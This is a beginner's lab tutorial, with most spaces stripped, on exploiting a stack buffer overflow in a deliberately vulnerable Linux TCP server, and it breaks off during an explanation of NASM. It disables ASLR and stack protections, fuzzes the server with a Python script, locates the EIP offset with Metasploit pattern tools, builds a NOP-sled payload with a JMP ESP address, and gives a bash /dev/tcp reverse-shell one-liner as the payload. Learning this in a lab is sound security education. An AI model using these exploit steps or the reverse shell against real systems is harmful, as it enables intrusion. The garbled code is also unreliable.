3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired
4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault
5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer
6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly
MemoryArchitecture
RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
